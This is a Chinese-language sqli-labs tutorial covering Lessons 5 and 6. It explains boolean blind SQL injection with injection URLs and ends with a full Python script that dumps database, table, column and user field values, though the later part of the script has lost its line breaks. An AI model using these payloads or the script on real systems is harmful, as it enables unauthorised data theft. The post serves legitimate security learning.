如果所查询的用户id在数据库中，可以发现页面显示”You are in”，而不像前4关那样会显示出具体的账号密码。
如果sql语句查询结果不存在，则不会显示”You are in”
这种类型的SQL注入属于盲注型，使用id=1’观察报错信息，如下图
可以看到报错信息是”1” LIMIT 0,1′，也就是说后台代码可能是这样写的：SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1，
下面，我们进行手工盲注测试，需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。
ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始，截取字符串a的c长度
mid(a,b,c)从位置b开始，截取a字符串的c位
select * from table_name limit m,n;表示从m+1开始取n条查询记录
具体可以参考这一篇文章：sqli-labs环境搭建及数据库基础
首先，我们要获取当前数据库名的长度，用于之后的数据库名猜解
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (length(database())=1)–+
上面的数字你可以从1开始递增，发现在length(database())=8的时候，页面返回了正确信息，这说明当前数据库名长度为8,你可以用python写个简单脚本跑一下，效果图如下
接下来就要对数据库名的每个字符进行猜解
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (left(database(),1)=’s‘)–+
left(database(),1)=’s'表示数据库名从左往右取一个字符，判断该字符是否等于s
left(database(),2)=’se’表示数据库名从左往右取两个个字符，判断该字符是否等于se
这里的s和se并不是固定的，你可以尝试ASCII表中的每个字符
同样写成脚本跑一下，效果图如下
下面要查询security数据库下的表的个数
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and 1=(select count(table_name) from information_schema.tables where table_schema=’security‘)–+
将等号左边的1进行递增即可判断出security数据库下表的个数，效果图如下
如果你不熟悉文中出现的select语句，可以参考：sqli-labs lession1-4
然后就是判断每个表名的长度
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit 0,1),1,1))–+
使用上面这个payload，如果页面返回”You are in”，则表示第一张表的长度至少为1，同样的，我们可以对limit num,1),num,1))num部分进行递增判断，如果进行到limit 0,1),7,1))时页面返回空，则说明第一张表的长度为7-1=6
判断出表名长度后，就要对表名进行猜解
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit 0,1),1,1))=1–+
这里其实跟上面的猜解数据库名原理是一样的，将等号右边的1进行递增判断，如果页面返回”You are in”，则表示第一张表的第一个字符的ASCII码为1，在参考ASCII码找到对应的字符就可以了。下面是程序运行效果图(截取部分吧，太多了)
接下来就要猜解每个表里的列的个数、列名以及列名长度，列名猜解，和上面原理都差不多，这里不再赘述，直接给出payload(以users表为例子)。
猜解列的个数
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and %d=(select count(column_name) from information_schema.columns where table_name=’users‘)–+
猜解列名长度
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))–+
猜解列名
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))=97–+
程序运行效果图
最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例)
判断字段长度
http://127.0.0.1/sqlilabs/Less-5/?id=1′ and 1=(select count(username) from security.users)–+
判断字段长度
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))–+
判断字段值
http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((select username from security.users limit 0,1),1,1))=95–+
程序运行效果图
最后给出完整的python代码(python3)
import requests
url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
db_length = 0
db_name = ''
table_num = 0
table_len = 0
table_name = ''
table_list = []
column_num = 0
column_len = 0
column_name = ''
column_list = []
dump_num = 0
dump_len = 0
dump_name = ''
dump_list = []
i = j = k = 0
### 当前数据库名长度 ###
for i in range(1,20):
db_payload = '''' and (length(database())=%d)--+''' %i
# print(url+db_payload)
r = requests.get(url+db_payload)
if "You are in" in r.text:
db_length = i
print('当前数据库名长度为：%d' % db_length)
break
### 当前数据库名 ###
print('开始猜解数据库名......')
for i in range(1,db_length+1):
for j in range(95,123):
db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
r = requests.get(url+db_payload)
if "You are in" in r.text:
db_name += chr(j)
# print(db_name)
break
print('数据库名： [+]',db_name)
### 当前数据库表的数目 ###
for i in range(100):
db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
r = requests.get(url+db_payload)
# print(url+db_payload)
if "You are in" in r.text:
table_num = i
break
print('一共有%d张表' % table_num)
print('开始猜解表名......')
### 每张表的表名长度及表名 ###
for i in range(table_num):
table_len = 0
table_name = ''
#### 表名长度 ####
for j in range(1,21):
db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j) r = requests.get(url+db_payload) # print(db_payload) if "You are in" not in r.text: table_len = j-1 #### 猜解表名 #### for k in range(1,table_len+1): for l in range(95,123): db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l) # print(db_payload) r = requests.get(url+db_payload) # print(db_payload) if "You are in" in r.text: table_name += chr(l) print(table_name) table_list.append(table_name) breakprint('表名：',table_list)### 每个表的列的数目、列名及列名长度 ###for i in table_list: #### 每个表的列的数目 #### for j in range(100): db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % ( j, i) r = requests.get(url + db_payload) if "You are in" in r.text: column_num = j print(("[+] 表名：%-10s " % i) + str(column_num) + '字段') break#### 猜解列名长度 ####column_num = 3print('%s表中的列名：' % table_list[-1])for j in range(3): column_name = '' for k in range(1,21): db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k) r = requests.get(url+db_payload) if "You are in" not in r.text: column_len = k-1 # print(column_len) break #### 猜解列名 #### for l in range(95,123): db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l) r = requests.get(url + db_payload) if "You are in" in r.text: column_name += chr(l) print('[+] ',column_name) column_list.append(column_name)print('开始爆破以下字段：',column_list[1:])for column in column_list[1:]: print(column,'：') dump_num = 0 for i in range(30): db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1]) # print(db_payload) r = requests.get(url+db_payload) if "You are in" in r.text: dump_num = i # print(i) break for i in range(dump_num): dump_len = 0 dump_name = '' #### 字段长度 #### for j in range(1, 21): db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j) r = requests.get(url + db_payload) if "You are in" not in r.text: dump_len = j-1 for k in range(1, dump_len + 1): for l in range(1,256): db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l) # print(db_payload) r = requests.get(url+db_payload) if "You are in" in r.text: dump_name += chr(l) # print(dump_name) break break print('[+]',dump_name)
Lession 6
至于第六关，看一下报错信息应该能猜出后台SQL查询语句为SELECT * FROM users WHERE id=”$id” LIMIT 0,1
所以直接将第五关写的代码修改一下，把代码中payload部分的’(单引号)改成”(双引号)即可
总结
写这个代码只是为了学习sql盲注，在写的过程中也想放弃，因为一直出错而且不知道错在哪里，但是最后还是完整的写完。其实代码还有很多地方可以改进，例如猜解字符可以使用二分法，这样效率会更快。还是继续努力吧。